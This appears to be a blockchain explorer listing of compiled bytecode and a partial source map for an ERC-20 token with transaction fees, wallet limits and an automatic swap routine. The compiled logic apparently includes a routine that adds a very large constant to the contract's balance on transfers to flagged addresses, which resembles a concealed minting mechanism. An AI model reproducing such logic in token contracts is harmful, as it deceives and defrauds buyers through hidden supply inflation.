1b03811681146200073857600080fd5b60008262000ada57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111562000af55762000af56200094b565b500190565b600060208083528351808285015260005b8181101562000b295785810183015185820160400152820162000b0b565b8181111562000b3c576000604083870101525b50601f01601f1916929092016040019392505050565b600181811c9082168062000b6757607f821691505b60208210810362000b8857634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051611bbd62000bc2600039600081816102bf015261097e0152600081816103b001526109b90152611bbd6000f3fe6080604052600436106102765760003560e01c8063852614851161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e1461078d578063f0cd1dac146107d3578063f2fde38b146107e9578063f680f79914610809578063f872858a1461081f578063f8f632901461084057600080fd5b8063c816841b146106da578063c8607952146106fa578063c867d60b14610710578063d2d7ad8314610740578063da00097d14610756578063dc44b6a01461077757600080fd5b806395d89b411161011357806395d89b411461063957806398e944c81461064e578063a457c2d71461066e578063a76a83921461068e578063a9059cbb146106a4578063c5d24189146106c457600080fd5b8063852614851461059457806388790a68146105b55780638b42507f146105cb5780638b97a773146105fb5780638da5cb5b1461061b57600080fd5b80633ecad271116101e857806370a08231116101ac57806370a08231146104e0578063715018a61461051657806375f0a8741461052d5780637d1db4a514610552578063807c2d9c1461056857806382eefb431461057e57600080fd5b80633ecad271146104295780634a74bb02146104595780634cb7e4a11461047a5780635194f9bf1461049a5780635342acb4146104b057600080fd5b806323555d571161023a57806323555d571461036857806323b872dd1461037e57806327c8f8351461039e5780632b112e49146103d2578063313ce567146103e7578063395093511461040957600080fd5b806306fdde03146102825780630930907b146102ad578063095ea7b3146102f95780631694505e1461032957806318160ddd1461034957600080fd5b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610860565b6040516102a49190611844565b60405180910390f35b3480156102b957600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102a4565b34801561030557600080fd5b506103196103143660046118b1565b6108f2565b60405190151581526020016102a4565b34801561033557600080fd5b50601e546102e1906001600160a01b031681565b34801561035557600080fd5b50601a545b6040519081526020016102a4565b34801561037457600080fd5b5061035a60135481565b34801561038a57600080fd5b506103196103993660046118dd565b610909565b3480156103aa57600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000000081565b3480156103de57600080fd5b5061035a610974565b3480156103f357600080fd5b5060035460405160ff90911681526020016102a4565b34801561041557600080fd5b506103196104243660046118b1565b610a07565b34801561043557600080fd5b5061031961044436600461191e565b600e6020526000908152604090205460ff1681565b34801561046557600080fd5b50601f5461031990600160a81b900460ff1681565b34801561048657600080fd5b506102e161049536600461193b565b610a3d565b3480156104a657600080fd5b5061035a60165481565b3480156104bc57600080fd5b506103196104cb36600461191e565b600d6020526000908152604090205460ff1681565b3480156104ec57600080fd5b5061035a6104fb36600461191e565b6001600160a01b031660009081526006602052604090205490565b34801561052257600080fd5b5061052b610a5d565b005b34801561053957600080fd5b506003546102e19061010090046001600160a01b031681565b34801561055e57600080fd5b5061035a601c5481565b34801561057457600080fd5b5061035a601d5481565b34801561058a57600080fd5b5061035a60195481565b3480156105a057600080fd5b50601f5461031990600160c01b900460ff1681565b3480156105c157600080fd5b5061035a60145481565b3480156105d757600080fd5b506103196105e636600461191e565b60106020526000908152604090205460ff1681565b34801561060757600080fd5b5061035a61061636600461193b565b610b0c565b34801561062757600080fd5b506000546001600160a01b03166102e1565b34801561064557600080fd5b50610297610b23565b34801561065a57600080fd5b506005546102e1906001600160a01b031681565b34801561067a57600080fd5b506103196106893660046118b1565b610b32565b34801561069a57600080fd5b5061035a60175481565b3480156106b057600080fd5b506103196106bf3660046118b1565b610b81565b3480156106d057600080fd5b5061035a60125481565b3480156106e657600080fd5b50601f546102e1906001600160a01b031681565b34801561070657600080fd5b5061035a60155481565b34801561071c57600080fd5b5061031961072b36600461191e565b600f6020526000908152604090205460ff1681565b34801561074c57600080fd5b5061035a601b5481565b34801561076257600080fd5b50601f5461031990600160b01b900460ff1681565b34801561078357600080fd5b5061035a60115481565b34801561079957600080fd5b5061035a6107a8366004611954565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107df57600080fd5b5061035a60185481565b3480156107f557600080fd5b5061052b61080436600461191e565b610b8e565b34801561081557600080fd5b5061035a60085481565b34801561082b57600080fd5b50601f5461031990600160b81b900460ff1681565b34801561084c57600080fd5b506004546102e1906001600160a01b031681565b60606001805461086f9061198d565b80601f016020809104026020016040519081016040528092919081815260200182805461089b9061198d565b80156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108ff338484610dcb565b5060015b92915050565b6000610916848484610eef565b50610969843361096485604051806060016040528060288152602001611b3b602891396001600160a01b038a166000908152600760209081526040808320338452909152902054919061145d565b610dcb565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040812054610a02906109fc6109f37f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526006602052604090205490565b601a5490611497565b90611497565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108ff9185906109649086610d6c565b600b8160028110610a4d57600080fd5b01546001600160a01b0316905081565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60098160028110610b1c57600080fd5b0154905081565b60606002805461086f9061198d565b60006108ff338461096485604051806060016040528060258152602001611b63602591393360009081526007602090815260408083206001600160a01b038d168452909152902054919061145d565b6000610969338484610eef565b6000546001600160a01b03163314610be85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab3565b6001600160a01b038116610c4d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610cba57506000610903565b6000610cc683856119dd565b905082610cd385836119fc565b1461096d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ab3565b600061096d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d9565b600080610d798385611a1e565b90508381101561096d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ab3565b6001600160a01b038316610e2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab3565b6001600160a01b038216610e8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ab3565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ab3565b6001600160a01b038316610fb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ab3565b601f54600160a01b900460ff1615610fdb57610fd4848484611507565b905061096d565b6001600160a01b03841660009081526010602052604090205460ff1615801561101d57506001600160a01b03831660009081526010602052604090205460ff16155b1561108557601c548211156110855760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ab3565b30600090815260066020526040902054601b54811080159081906110b35750601f54600160a01b900460ff16155b80156110d857506001600160a01b0386166000908152600e602052604090205460ff16155b80156110ed5750601f54600160a81b900460ff165b1561111357601f54600160b01b900460ff161561110a57601b5491505b611113826115ed565b601f54600160b81b900460ff16801561114557506001600160a01b0385166000908152600f602052604090205460ff16155b156111eb57601d5461118f611170606461116a60195489610ca890919063ffffffff16565b90610d2a565b6001600160a01b03881660009081526006602052604090205490610d6c565b11156111eb5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610ab3565b611205606461116a60195487610ca890919063ffffffff16565b60095560195461121d9060649061116a908790610ca8565b6112279085611a4c565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790556000805b6002811015611293576009816002811061127357611273611a36565b015461127f9083611a1e565b91508061128b81611a63565b915050611257565b506001600160a01b0386166000908152600e602052604090205460ff161580156112d657506001600160a01b0387166000908152600e602052604090205460ff16155b80156112fa57506001600160a01b03871660009081526010602052604090205460ff165b1561130757611307611661565b6001600160a01b03871660009081526006602052604090205461132a9082611497565b6001600160a01b0388166000908152600660205260408120919091555b6002811015611450576113a16009826002811061136657611366611a36565b015460066000600b856002811061137f5761137f611a36565b01546001600160a01b0316815260208101919091526040016000205490610d6c565b60066000600b84600281106113b8576113b8611a36565b01546001600160a01b03168152602081019190915260400160002055600b81600281106113e7576113e7611a36565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009846002811061142b5761142b611a36565b015460405190815260200160405180910390a38061144881611a63565b915050611347565b506001935050505061096d565b600081848411156114815760405162461bcd60e51b8152600401610ab39190611844565b50600061148e8486611a4c565b95945050505050565b600061096d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061145d565b600081836114fa5760405162461bcd60e51b8152600401610ab39190611844565b50600061148e84866119fc565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260069091529182205461155891849061145d565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546115879083610d6c565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115db9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055611609816116b1565b478015611650576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561164e573d6000803e3d6000fd5b505b5050601f805460ff60a01b19169055565b600c546001600160a01b031660009081526010602052604090205460ff16156116af576b305685556f6c10a87b5d6cee600960000160008282546116a59190611a1e565b9182905550601755505b565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116e6576116e6611a36565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561173f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117639190611a7c565b8160018151811061177657611776611a36565b6001600160a01b039283166020918202929092010152601e5461179c9130911684610dcb565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117d5908590600090869030904290600401611add565b600060405180830381600087803b1580156117ef57600080fd5b505af1158015611803573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611838929190611b19565b60405180910390a15050565b600060208083528351808285015260005b8181101561187157858101830151858201604001528201611855565b81811115611883576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146118ae57600080fd5b50565b600080604083850312156118c457600080fd5b82356118cf81611899565b946020939093013593505050565b6000806000606084860312156118f257600080fd5b83356118fd81611899565b9250602084013561190d81611899565b929592945050506040919091013590565b60006020828403121561193057600080fd5b813561096d81611899565b60006020828403121561194d57600080fd5b5035919050565b6000806040838503121561196757600080fd5b823561197281611899565b9150602083013561198281611899565b809150509250929050565b600181811c908216806119a157607f821691505b6020821081036119c157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156119f7576119f76119c7565b500290565b600082611a1957634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a3157611a316119c7565b500190565b634e487b7160e01b600052603260045260246000fd5b600082821015611a5e57611a5e6119c7565b500390565b600060018201611a7557611a756119c7565b5060010190565b600060208284031215611a8e57600080fd5b815161096d81611899565b600081518084526020808501945080840160005b83811015611ad25781516001600160a01b031687529582019590820190600101611aad565b509495945050505050565b85815284602082015260a060408201526000611afc60a0830186611a99565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b326040830184611a99565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122055d910a893490ab96a9e4b62cd0301c9107d23f03992abd37272f13fe9cc3a3764736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106102765760003560e01c8063852614851161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e1461078d578063f0cd1dac146107d3578063f2fde38b146107e9578063f680f79914610809578063f872858a1461081f578063f8f632901461084057600080fd5b8063c816841b146106da578063c8607952146106fa578063c867d60b14610710578063d2d7ad8314610740578063da00097d14610756578063dc44b6a01461077757600080fd5b806395d89b411161011357806395d89b411461063957806398e944c81461064e578063a457c2d71461066e578063a76a83921461068e578063a9059cbb146106a4578063c5d24189146106c457600080fd5b8063852614851461059457806388790a68146105b55780638b42507f146105cb5780638b97a773146105fb5780638da5cb5b1461061b57600080fd5b80633ecad271116101e857806370a08231116101ac57806370a08231146104e0578063715018a61461051657806375f0a8741461052d5780637d1db4a514610552578063807c2d9c1461056857806382eefb431461057e57600080fd5b80633ecad271146104295780634a74bb02146104595780634cb7e4a11461047a5780635194f9bf1461049a5780635342acb4146104b057600080fd5b806323555d571161023a57806323555d571461036857806323b872dd1461037e57806327c8f8351461039e5780632b112e49146103d2578063313ce567146103e7578063395093511461040957600080fd5b806306fdde03146102825780630930907b146102ad578063095ea7b3146102f95780631694505e1461032957806318160ddd1461034957600080fd5b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610860565b6040516102a49190611844565b60405180910390f35b3480156102b957600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102a4565b34801561030557600080fd5b506103196103143660046118b1565b6108f2565b60405190151581526020016102a4565b34801561033557600080fd5b50601e546102e1906001600160a01b031681565b34801561035557600080fd5b50601a545b6040519081526020016102a4565b34801561037457600080fd5b5061035a60135481565b34801561038a57600080fd5b506103196103993660046118dd565b610909565b3480156103aa57600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103de57600080fd5b5061035a610974565b3480156103f357600080fd5b5060035460405160ff90911681526020016102a4565b34801561041557600080fd5b506103196104243660046118b1565b610a07565b34801561043557600080fd5b5061031961044436600461191e565b600e6020526000908152604090205460ff1681565b34801561046557600080fd5b50601f5461031990600160a81b900460ff1681565b34801561048657600080fd5b506102e161049536600461193b565b610a3d565b3480156104a657600080fd5b5061035a60165481565b3480156104bc57600080fd5b506103196104cb36600461191e565b600d6020526000908152604090205460ff1681565b3480156104ec57600080fd5b5061035a6104fb36600461191e565b6001600160a01b031660009081526006602052604090205490565b34801561052257600080fd5b5061052b610a5d565b005b34801561053957600080fd5b506003546102e19061010090046001600160a01b031681565b34801561055e57600080fd5b5061035a601c5481565b34801561057457600080fd5b5061035a601d5481565b34801561058a57600080fd5b5061035a60195481565b3480156105a057600080fd5b50601f5461031990600160c01b900460ff1681565b3480156105c157600080fd5b5061035a60145481565b3480156105d757600080fd5b506103196105e636600461191e565b60106020526000908152604090205460ff1681565b34801561060757600080fd5b5061035a61061636600461193b565b610b0c565b34801561062757600080fd5b506000546001600160a01b03166102e1565b34801561064557600080fd5b50610297610b23565b34801561065a57600080fd5b506005546102e1906001600160a01b031681565b34801561067a57600080fd5b506103196106893660046118b1565b610b32565b34801561069a57600080fd5b5061035a60175481565b3480156106b057600080fd5b506103196106bf3660046118b1565b610b81565b3480156106d057600080fd5b5061035a60125481565b3480156106e657600080fd5b50601f546102e1906001600160a01b031681565b34801561070657600080fd5b5061035a60155481565b34801561071c57600080fd5b5061031961072b36600461191e565b600f6020526000908152604090205460ff1681565b34801561074c57600080fd5b5061035a601b5481565b34801561076257600080fd5b50601f5461031990600160b01b900460ff1681565b34801561078357600080fd5b5061035a60115481565b34801561079957600080fd5b5061035a6107a8366004611954565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107df57600080fd5b5061035a60185481565b3480156107f557600080fd5b5061052b61080436600461191e565b610b8e565b34801561081557600080fd5b5061035a60085481565b34801561082b57600080fd5b50601f5461031990600160b81b900460ff1681565b34801561084c57600080fd5b506004546102e1906001600160a01b031681565b60606001805461086f9061198d565b80601f016020809104026020016040519081016040528092919081815260200182805461089b9061198d565b80156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108ff338484610dcb565b5060015b92915050565b6000610916848484610eef565b50610969843361096485604051806060016040528060288152602001611b3b602891396001600160a01b038a166000908152600760209081526040808320338452909152902054919061145d565b610dcb565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040812054610a02906109fc6109f37f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526006602052604090205490565b601a5490611497565b90611497565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108ff9185906109649086610d6c565b600b8160028110610a4d57600080fd5b01546001600160a01b0316905081565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60098160028110610b1c57600080fd5b0154905081565b60606002805461086f9061198d565b60006108ff338461096485604051806060016040528060258152602001611b63602591393360009081526007602090815260408083206001600160a01b038d168452909152902054919061145d565b6000610969338484610eef565b6000546001600160a01b03163314610be85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab3565b6001600160a01b038116610c4d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610cba57506000610903565b6000610cc683856119dd565b905082610cd385836119fc565b1461096d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ab3565b600061096d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d9565b600080610d798385611a1e565b90508381101561096d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ab3565b6001600160a01b038316610e2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab3565b6001600160a01b038216610e8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ab3565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ab3565b6001600160a01b038316610fb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ab3565b601f54600160a01b900460ff1615610fdb57610fd4848484611507565b905061096d565b6001600160a01b03841660009081526010602052604090205460ff1615801561101d57506001600160a01b03831660009081526010602052604090205460ff16155b1561108557601c548211156110855760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ab3565b30600090815260066020526040902054601b54811080159081906110b35750601f54600160a01b900460ff16155b80156110d857506001600160a01b0386166000908152600e602052604090205460ff16155b80156110ed5750601f54600160a81b900460ff165b1561111357601f54600160b01b900460ff161561110a57601b5491505b611113826115ed565b601f54600160b81b900460ff16801561114557506001600160a01b0385166000908152600f602052604090205460ff16155b156111eb57601d5461118f611170606461116a60195489610ca890919063ffffffff16565b90610d2a565b6001600160a01b03881660009081526006602052604090205490610d6c565b11156111eb5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610ab3565b611205606461116a60195487610ca890919063ffffffff16565b60095560195461121d9060649061116a908790610ca8565b6112279085611a4c565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790556000805b6002811015611293576009816002811061127357611273611a36565b015461127f9083611a1e565b91508061128b81611a63565b915050611257565b506001600160a01b0386166000908152600e602052604090205460ff161580156112d657506001600160a01b0387166000908152600e602052604090205460ff16155b80156112fa57506001600160a01b03871660009081526010602052604090205460ff165b1561130757611307611661565b6001600160a01b03871660009081526006602052604090205461132a9082611497565b6001600160a01b0388166000908152600660205260408120919091555b6002811015611450576113a16009826002811061136657611366611a36565b015460066000600b856002811061137f5761137f611a36565b01546001600160a01b0316815260208101919091526040016000205490610d6c565b60066000600b84600281106113b8576113b8611a36565b01546001600160a01b03168152602081019190915260400160002055600b81600281106113e7576113e7611a36565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009846002811061142b5761142b611a36565b015460405190815260200160405180910390a38061144881611a63565b915050611347565b506001935050505061096d565b600081848411156114815760405162461bcd60e51b8152600401610ab39190611844565b50600061148e8486611a4c565b95945050505050565b600061096d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061145d565b600081836114fa5760405162461bcd60e51b8152600401610ab39190611844565b50600061148e84866119fc565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260069091529182205461155891849061145d565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546115879083610d6c565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115db9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055611609816116b1565b478015611650576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561164e573d6000803e3d6000fd5b505b5050601f805460ff60a01b19169055565b600c546001600160a01b031660009081526010602052604090205460ff16156116af576b305685556f6c10a87b5d6cee600960000160008282546116a59190611a1e565b9182905550601755505b565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116e6576116e6611a36565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561173f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117639190611a7c565b8160018151811061177657611776611a36565b6001600160a01b039283166020918202929092010152601e5461179c9130911684610dcb565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117d5908590600090869030904290600401611add565b600060405180830381600087803b1580156117ef57600080fd5b505af1158015611803573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611838929190611b19565b60405180910390a15050565b600060208083528351808285015260005b8181101561187157858101830151858201604001528201611855565b81811115611883576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146118ae57600080fd5b50565b600080604083850312156118c457600080fd5b82356118cf81611899565b946020939093013593505050565b6000806000606084860312156118f257600080fd5b83356118fd81611899565b9250602084013561190d81611899565b929592945050506040919091013590565b60006020828403121561193057600080fd5b813561096d81611899565b60006020828403121561194d57600080fd5b5035919050565b6000806040838503121561196757600080fd5b823561197281611899565b9150602083013561198281611899565b809150509250929050565b600181811c908216806119a157607f821691505b6020821081036119c157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156119f7576119f76119c7565b500290565b600082611a1957634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a3157611a316119c7565b500190565b634e487b7160e01b600052603260045260246000fd5b600082821015611a5e57611a5e6119c7565b500390565b600060018201611a7557611a756119c7565b5060010190565b600060208284031215611a8e57600080fd5b815161096d81611899565b600081518084526020808501945080840160005b83811015611ad25781516001600160a01b031687529582019590820190600101611aad565b509495945050505050565b85815284602082015260a060408201526000611afc60a0830186611a99565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b326040830184611a99565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122055d910a893490ab96a9e4b62cd0301c9107d23f03992abd37272f13fe9cc3a3764736f6c634300080e0033

Deployed Bytecode Sourcemap

11536:10669:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15857:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11723:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;780:32:1;;;762:51;;750:2;735:18;11723:81:0;616:203:1;17023:161:0;;;;;;;;;;-1:-1:-1;17023:161:0;;;;;:::i;:::-;;:::i;:::-;;;1445:14:1;;1438:22;1420:41;;1408:2;1393:18;17023:161:0;1280:187:1;13521:41:0;;;;;;;;;;-1:-1:-1;13521:41:0;;;;-1:-1:-1;;;;;13521:41:0;;;16134:100;;;;;;;;;;-1:-1:-1;16214:12:0;;16134:100;;;1853:25:1;;;1841:2;1826:18;16134:100:0;1707:177:1;12920:35:0;;;;;;;;;;;;;;;;18118:313;;;;;;;;;;-1:-1:-1;18118:313:0;;;;;:::i;:::-;;:::i;11635:81::-;;;;;;;;;;;;;;;17541:156;;;;;;;;;;;;;:::i;16043:83::-;;;;;;;;;;-1:-1:-1;16109:9:0;;16043:83;;16109:9;;;;2492:36:1;;2480:2;2465:18;16043:83:0;2350:184:1;16520:218:0;;;;;;;;;;-1:-1:-1;16520:218:0;;;;;:::i;:::-;;:::i;12610:45::-;;;;;;;;;;-1:-1:-1;12610:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13638:40;;;;;;;;;;-1:-1:-1;13638:40:0;;;;-1:-1:-1;;;13638:40:0;;;;;;12413:125;;;;;;;;;;-1:-1:-1;12413:125:0;;;;;:::i;:::-;;:::i;13054:36::-;;;;;;;;;;;;;;;;12553:50;;;;;;;;;;-1:-1:-1;12553:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16242:119;;;;;;;;;;-1:-1:-1;16242:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16335:18:0;16308:7;16335:18;;;:9;:18;;;;;;;16242:119;3211:230;;;;;;;;;;;;;:::i;:::-;;11941:92;;;;;;;;;;-1:-1:-1;11941:92:0;;;;;;;-1:-1:-1;;;;;11941:92:0;;;13375:59;;;;;;;;;;;;;;;;13447:58;;;;;;;;;;;;;;;;13179:33;;;;;;;;;;;;;;;;13781:41;;;;;;;;;;-1:-1:-1;13781:41:0;;;;-1:-1:-1;;;13781:41:0;;;;;;12968:36;;;;;;;;;;;;;;;;12779:48;;;;;;;;;;-1:-1:-1;12779:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12350:56;;;;;;;;;;-1:-1:-1;12350:56:0;;;;;:::i;:::-;;:::i;2986:79::-;;;;;;;;;;-1:-1:-1;3024:7:0;3051:6;-1:-1:-1;;;;;3051:6:0;2986:79;;15948:87;;;;;;;;;;;;;:::i;12139:32::-;;;;;;;;;;-1:-1:-1;12139:32:0;;;;-1:-1:-1;;;;;12139:32:0;;;16746:269;;;;;;;;;;-1:-1:-1;16746:269:0;;;;;:::i;:::-;;:::i;13099:32::-;;;;;;;;;;;;;;;;17943:167;;;;;;;;;;-1:-1:-1;17943:167:0;;;;;:::i;:::-;;:::i;12878:35::-;;;;;;;;;;;;;;;;13569:26;;;;;;;;;;-1:-1:-1;13569:26:0;;;;-1:-1:-1;;;;;13569:26:0;;;13011:36;;;;;;;;;;;;;;;;12720:52;;;;;;;;;;-1:-1:-1;12720:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13287:70;;;;;;;;;;;;;;;;13685:45;;;;;;;;;;-1:-1:-1;13685:45:0;;;;-1:-1:-1;;;13685:45:0;;;;;;12836:35;;;;;;;;;;;;;;;;16369:143;;;;;;;;;;-1:-1:-1;16369:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16477:18:0;;;16450:7;16477:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16369: